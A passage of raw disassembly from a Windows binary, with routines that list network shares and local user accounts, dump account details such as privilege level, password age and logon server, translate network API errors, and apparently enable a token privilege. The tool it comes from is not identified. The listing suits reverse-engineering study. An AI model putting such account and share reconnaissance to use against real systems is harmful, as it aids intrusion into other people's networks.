		call	sub_40FA76
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_413BB0
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_40FA76
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	ds:dword_431D90
		pop	edi
		leave
		retn
sub_40FA0B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FA76	proc near		; CODE XREF: sub_40FA0B+Ap
					; sub_40FA0B+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_40FA83
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40FA83:				; CODE XREF: sub_40FA76+9j
		push	ebx
		push	esi
		mov	esi, ds:dword_41D12C
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi ; dword_41D12C
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_412A55
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi ; dword_41D12C
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40FA76	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FAB7	proc near		; CODE XREF: sub_40F8E5+20p
					; sub_410DD4+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_40FA76
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_40FA76
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	ds:dword_431D68
		pop	esi
		retn
sub_40FAB7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FADA	proc near		; CODE XREF: seg000:0040BAFBp

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_40FA76
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F466
		add	esp, 18h


loc_40FB13:				; CODE XREF: sub_40FADA+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	ds:dword_431DDC
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_40FB76
		cmp	ebx, 0EAh
		jz	short loc_40FB76
		push	ebx
		push	ebx
		call	sub_41028F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset dword_42E894
		push	eax
		call	sub_411963
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F466
		add	esp, 24h
		jmp	short loc_40FBE3
; ---------------------------------------------------------------------------


loc_40FB76:				; CODE XREF: sub_40FADA+5Dj
					; sub_40FADA+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_40FBDA
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_40FB84:				; CODE XREF: sub_40FADA+FCj
		push	dword ptr [esi+10h]
		call	ds:dword_431D84
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_40FB9B
		mov	eax, offset aNo	; "No"


loc_40FB9B:				; CODE XREF: sub_40FADA+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_411963
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F466
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_40FB84
		xor	esi, esi


loc_40FBDA:				; CODE XREF: sub_40FADA+A2j
		push	[ebp+var_4]
		call	ds:dword_431F20


loc_40FBE3:				; CODE XREF: sub_40FADA+9Aj
		cmp	ebx, 0EAh
		jz	loc_40FB13
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_40FADA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FBFB	proc near		; CODE XREF: seg000:loc_40BB71p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_40FC9F
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_40FC3D
		dec	eax
		jz	short loc_40FC32
		dec	eax
		jnz	short loc_40FC58
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_40FD41
		add	esp, 14h
		jmp	short loc_40FC54
; ---------------------------------------------------------------------------


loc_40FC32:				; CODE XREF: sub_40FBFB+1Dj
		push	ebx
		push	edi
		call	sub_40FD20
		pop	ecx
		pop	ecx
		jmp	short loc_40FC54
; ---------------------------------------------------------------------------


loc_40FC3D:				; CODE XREF: sub_40FBFB+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_40FC51
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_40FCC6
		add	esp, 0Ch
		jmp	short loc_40FC54
; ---------------------------------------------------------------------------


loc_40FC51:				; CODE XREF: sub_40FBFB+45j
		push	57h
		pop	eax


loc_40FC54:				; CODE XREF: sub_40FBFB+35j
					; sub_40FBFB+40j ...
		cmp	eax, edi
		jnz	short loc_40FC78


loc_40FC58:				; CODE XREF: sub_40FBFB+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_460958
		push	ds:off_42E12C[eax*4]
		push	offset dword_42E984
		push	esi
		call	sub_411963
		add	esp, 10h
		jmp	short loc_40FCBF
; ---------------------------------------------------------------------------


loc_40FC78:				; CODE XREF: sub_40FBFB+5Bj
		push	eax
		call	sub_41028F
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_460958
		push	ds:off_42E128[eax*4]
		push	offset dword_42E944
		push	esi
		call	sub_411963
		add	esp, 18h
		jmp	short loc_40FCBF
; ---------------------------------------------------------------------------


loc_40FC9F:				; CODE XREF: sub_40FBFB+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_460958
		lea	eax, [eax+eax*2]
		push	ds:off_42E128[eax*4]
		push	offset dword_42E908
		push	esi
		call	sub_411963
		add	esp, 0Ch


loc_40FCBF:				; CODE XREF: sub_40FBFB+7Bj
					; sub_40FBFB+A2j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40FBFB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FCC6	proc near		; CODE XREF: sub_40FBFB+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_40FA76
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_40FA76
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_40FA76
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	ds:dword_431D74
		pop	edi
		leave
		retn
sub_40FCC6	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FD20	proc near		; CODE XREF: sub_40FBFB+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_40FA76
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_40FA76
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	ds:dword_431D64
		pop	esi
		retn
sub_40FD20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FD41	proc near		; CODE XREF: sub_40FBFB+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_40FA76
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_40FA76
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	ds:dword_431EE8
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_4100CE
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_410109
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_411963
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40F466
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_411963
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40F466
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_411963
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40F466
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_411963
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40F466
		mov	eax, [ebp+var_4]
		add	esp, 40h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_40FE5A
		dec	eax
		jz	short loc_40FE53
		dec	eax
		jz	short loc_40FE4C
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_40FE5F
; ---------------------------------------------------------------------------


loc_40FE4C:				; CODE XREF: sub_40FD41+102j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_40FE5F
; ---------------------------------------------------------------------------


loc_40FE53:				; CODE XREF: sub_40FD41+FFj
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_40FE5F
; ---------------------------------------------------------------------------


loc_40FE5A:				; CODE XREF: sub_40FD41+FCj
		mov	eax, offset aGuest ; "Guest"


loc_40FE5F:				; CODE XREF: sub_40FD41+109j
					; sub_40FD41+110j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_411963
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40F466
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_411963
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40F466
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_411963
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40F466
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_411963
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40F466
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_411963
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40F466
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_411963
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40F466
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_411963
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40F466
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_411963
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40F466
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_411963
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40F466
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_411963
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40F466
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_411963
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40F466
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_411963
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40F466
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_411963
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40F466
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_411963
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40F466
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_411963
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40F466
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_4100FA
; ---------------------------------------------------------------------------


loc_4100CE:				; CODE XREF: sub_40FD41+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset dword_42E9B8
		push	eax
		call	sub_411963
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40F466
		add	esp, 20h


loc_4100FA:				; CODE XREF: sub_40FD41+38Bj
		cmp	[ebp+var_4], 0
		jz	short loc_410109
		push	[ebp+var_4]
		call	ds:dword_431F20


loc_410109:				; CODE XREF: sub_40FD41+40j
					; sub_40FD41+3BDj
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_40FD41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41010F	proc near		; CODE XREF: seg000:0040BB9Dp

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_40FA76
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F466
		add	esp, 18h


loc_41014E:				; CODE XREF: sub_41010F+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	ds:dword_431DF8
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_4101AF
		cmp	eax, 0EAh
		jz	short loc_4101AF
		push	eax
		push	eax
		call	sub_41028F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset dword_42EBC0
		push	eax
		call	sub_411963
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F466
		add	esp, 24h
		jmp	short loc_41022A
; ---------------------------------------------------------------------------


loc_4101AF:				; CODE XREF: sub_41010F+62j
					; sub_41010F+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_41023D
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_41022A


loc_4101C1:				; CODE XREF: sub_41010F+EDj
		cmp	edi, esi
		jz	short loc_410200
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_411963
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F466
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_4101C1
		jmp	short loc_41022A
; ---------------------------------------------------------------------------


loc_410200:				; CODE XREF: sub_41010F+B4j
		lea	eax, [ebp+var_218]
		push	offset dword_42EB78
		push	eax
		call	sub_411963
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F466
		add	esp, 1Ch


loc_41022A:				; CODE XREF: sub_41010F+9Ej
					; sub_41010F+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_41023D
		push	edi
		call	ds:dword_431F20
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_41023D:				; CODE XREF: sub_41010F+A5j
					; sub_41010F+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_41014E
		cmp	edi, esi
		jz	short loc_410255
		push	edi
		call	ds:dword_431F20


loc_410255:				; CODE XREF: sub_41010F+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_411963
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F466
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_41010F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41028F	proc near		; CODE XREF: sub_40F8E5+41p
					; sub_40FADA+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_410341
		jz	loc_41033A
		cmp	eax, 7Bh
		ja	short loc_410306
		jz	short loc_4102FC
		cmp	eax, 5
		jz	short loc_4102F2
		cmp	eax, 8
		jz	short loc_4102E8
		cmp	eax, 32h
		jz	short loc_4102DE
		cmp	eax, 35h
		jz	short loc_4102D4
		cmp	eax, 57h
		jnz	loc_410390
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_4103B1
; ---------------------------------------------------------------------------


loc_4102D4:				; CODE XREF: sub_41028F+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_4103B1
; ---------------------------------------------------------------------------


loc_4102DE:				; CODE XREF: sub_41028F+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_4103B1
; ---------------------------------------------------------------------------


loc_4102E8:				; CODE XREF: sub_41028F+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_4103B1
; ---------------------------------------------------------------------------


loc_4102F2:				; CODE XREF: sub_41028F+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_4103B1
; ---------------------------------------------------------------------------


loc_4102FC:				; CODE XREF: sub_41028F+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_4103B1
; ---------------------------------------------------------------------------


loc_410306:				; CODE XREF: sub_41028F+1Aj
		sub	eax, 7Ch
		jz	short loc_410333
		sub	eax, 7C8h
		jz	short loc_41032C
		dec	eax
		jz	short loc_410322
		dec	eax
		jnz	short loc_410390
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_4103B1
; ---------------------------------------------------------------------------


loc_410322:				; CODE XREF: sub_41028F+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_4103B1
; ---------------------------------------------------------------------------


loc_41032C:				; CODE XREF: sub_41028F+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_4103B1
; ---------------------------------------------------------------------------


loc_410333:				; CODE XREF: sub_41028F+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_4103B1
; ---------------------------------------------------------------------------


loc_41033A:				; CODE XREF: sub_41028F+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_4103B1
; ---------------------------------------------------------------------------


loc_410341:				; CODE XREF: sub_41028F+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_41037A
		jz	short loc_410373
		sub	eax, 8ADh
		jz	short loc_4103A5
		dec	eax
		dec	eax
		jz	short loc_41036C
		dec	eax
		jz	short loc_410365
		dec	eax
		dec	eax
		jnz	short loc_410390
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_4103B1
; ---------------------------------------------------------------------------


loc_410365:				; CODE XREF: sub_41028F+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_4103B1
; ---------------------------------------------------------------------------


loc_41036C:				; CODE XREF: sub_41028F+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_4103B1
; ---------------------------------------------------------------------------


loc_410373:				; CODE XREF: sub_41028F+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_4103B1
; ---------------------------------------------------------------------------


loc_41037A:				; CODE XREF: sub_41028F+B9j
		sub	eax, 8CAh
		jz	short loc_4103AC
		sub	eax, 17h
		jz	short loc_4103A5
		sub	eax, 25h
		jz	short loc_41039E


loc_41038B:				; CODE XREF: sub_4103C3+39j
		sub	eax, 29h
		jz	short loc_410397


loc_410390:				; CODE XREF: sub_41028F+35j
					; sub_41028F+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_4103B1
; ---------------------------------------------------------------------------


loc_410397:				; CODE XREF: sub_41028F+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_4103B1
; ---------------------------------------------------------------------------


loc_41039E:				; CODE XREF: sub_41028F+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_4103B1
; ---------------------------------------------------------------------------


loc_4103A5:				; CODE XREF: sub_41028F+C2j
					; sub_41028F+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_4103B1
; ---------------------------------------------------------------------------


loc_4103AC:				; CODE XREF: sub_41028F+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_4103B1:				; CODE XREF: sub_41028F+40j
					; sub_41028F+4Aj ...
		push	offset dword_4606F8
		call	sub_411963
		pop	ecx
		mov	eax, offset dword_4606F8
		pop	ecx
		retn
sub_41028F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4103C3	proc near		; CODE XREF: seg000:0040BBE2p

var_718		= byte ptr -718h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_413D39
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		call	near ptr 0A70000h
		jmp	short loc_41038B
sub_4103C3	endp

; ---------------------------------------------------------------------------
		dw 0F885h
		dd 56FFFFFEh, 0E8858D50h, 50FFFFFCh, 3928E8h, 0E8858D00h
		dd 50FFFFF8h, 38FFE8h, 10C48300h, 8D50E0D1h, 0FFF8E885h
		dd 858D50FFh, 0FFFFFCE8h, 6A50006Ah, 0A015FF00h, 8500431Eh
		dd 0BE1475C0h, 4604F4h,	42EF1868h, 14E85600h, 59000015h
		dd 8D29EB59h, 0FFF8E88Dh, 8D8D51FFh, 0FFFFFCE8h, 28E85051h
		dd 59FFFFFEh, 4604F4BEh, 0DC685000h, 560042EEh,	14EAE8h
		dd 14C48300h, 0C95EC68Bh
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410481	proc near		; CODE XREF: sub_407BAE+7p
					; seg000:0041054Bp ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	near ptr 0A70000h
		rcl	byte ptr [eax-1], cl
		adc	eax, offset dword_431E74
		test	eax, eax
		jnz	short loc_4104A0
		leave
		retn
; ---------------------------------------------------------------------------


loc_4104A0:				; CODE XREF: sub_410481+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	ds:dword_431E4C
		test	eax, eax
		jz	short loc_4104DE
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_4104C7
		or	[ebp+var_8], 2
		jmp	short loc_4104CB
; ---------------------------------------------------------------------------


loc_4104C7:				; CODE XREF: sub_410481+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_4104CB:				; CODE XREF: sub_410481+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	ds:dword_431EFC
		mov	esi, eax


loc_4104DE:				; CODE XREF: sub_410481+32j
		push	[ebp+var_4]
		call	ds:dword_41D068	; CloseHandle
		mov	eax, esi
		pop	esi
		leave
		retn
sub_410481	endp

; ---------------------------------------------------------------------------


